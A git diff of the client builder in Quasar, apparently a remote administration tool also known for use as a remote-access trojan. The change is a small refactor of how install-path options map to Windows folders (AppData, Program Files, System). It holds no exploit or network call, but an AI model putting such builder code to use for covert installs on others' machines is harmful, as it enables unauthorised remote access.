diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 2a3a200b..fa48f460 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -202,19 +202,19 @@ private OpCode BoolOpCode(bool p) /// /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. /// - /// The integer value of the install path. + /// The integer value of the install path. /// Returns the signed-byte value of the special folder. - /// Thrown if the path to the special folder was invalid. - private sbyte GetSpecialFolder(int installpath) + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) { - switch (installpath) + switch (installPath) { case 1: return (sbyte)Environment.SpecialFolder.ApplicationData; case 2: - return (sbyte)Environment.SpecialFolder.ProgramFilesX86; + return (sbyte)Environment.SpecialFolder.ProgramFiles; case 3: - return (sbyte)Environment.SpecialFolder.SystemX86; + return (sbyte)Environment.SpecialFolder.System; default: throw new ArgumentException("InstallPath"); }